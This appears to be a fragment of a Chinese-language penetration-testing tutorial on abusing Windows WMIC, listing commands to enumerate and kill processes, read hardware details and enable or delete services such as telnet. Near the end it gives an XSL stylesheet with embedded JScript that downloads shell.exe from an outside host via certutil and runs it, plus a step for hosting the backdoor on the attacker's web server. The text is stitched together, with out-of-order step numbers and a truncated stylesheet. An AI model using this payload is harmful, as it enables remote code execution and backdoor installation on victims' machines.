该组件默认集成于 Windows XP - Windows 10 全系列系统中,我们可以通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理,,在正常的管理员的眼里 wmic 确实是远程管理的好帮手,但在渗透者眼中,它也同样是一把在目标内网进行横向渗透的趁手武器。
wmic process list full // 显示所以进程 wmic process list brief // 摘要显示进程 wmic process list status // 显示进程状态 wmic process where name="qq.exe" get executablepath // 获取进程的绝对路径
// 进程创建相关命令 wmic process call create QQ wmic process call create "C:/Program Files/Tencent/QQ/QQ.exe" wmic process call create "ifconfig"
// 进程的删除 wmic process where name="qq.exe" call terminate wmic process where processid="1214" delete wmic process 1234 call terminate
4.获取操作系统的关键数据,可执行以下命令。
wmic DISKDRIVE get deviceid,Caption,size,InterfaceType // 磁盘相关数据 wmic LOGICALDISK get name,Description,filesystem,size,freespace // 分区相关数据 wmic cpu get name,addresswidth,processorid // CPU相关数据 wmic BaseBoard get Manufacturer,Product,Version,SerialNumber // 主板相关数据 wmic csproduct get IdentifyingNumber // 获取系统序列号 wmic SOUNDDEV get ProductName // 声卡相关
5.服务相关命令
// 更改telnet服务启动类型[Auto|Disabled|Manual] wmic SERVICE where name="tlntsvr"set startmode="Auto"
wmic SERVICE where name="tlntsvr" call startservice // 运行telnet服务 wmic SERVICE where name="ShardAccess" call stopservice // 停止ICS服务 wmic SERVICE where name="lyshark" call delete // 删除lyshark服务
<msxsl:scriptlanguage="JScript"implements-prefix="user"> function xml(nodelist) { var r = new ActiveXObject("WScript.Shell").Run("certutil.exe -urlcache -split -f http://lyshark.com/shell.exe"); var r = new ActiveXObject("WScript.Shell").Run("shell.exe"); return nodelist.nextNode().xml; } </msxsl:script> <xsl:templatematch="/"> <xsl:value-ofselect="user:xml(.)"/> </xsl:template> </xsl:stylesheet>
3.将后门文件和xsl脚本一并放入自己搭建的web服务器上。
[root@localhost ~]# ls -lh -rw-r--r-- 1 root root 73K Aug 12 23:33 shell.exe -rw-r--r-- 1 root root 642 Aug 12 23:36 shell.xsl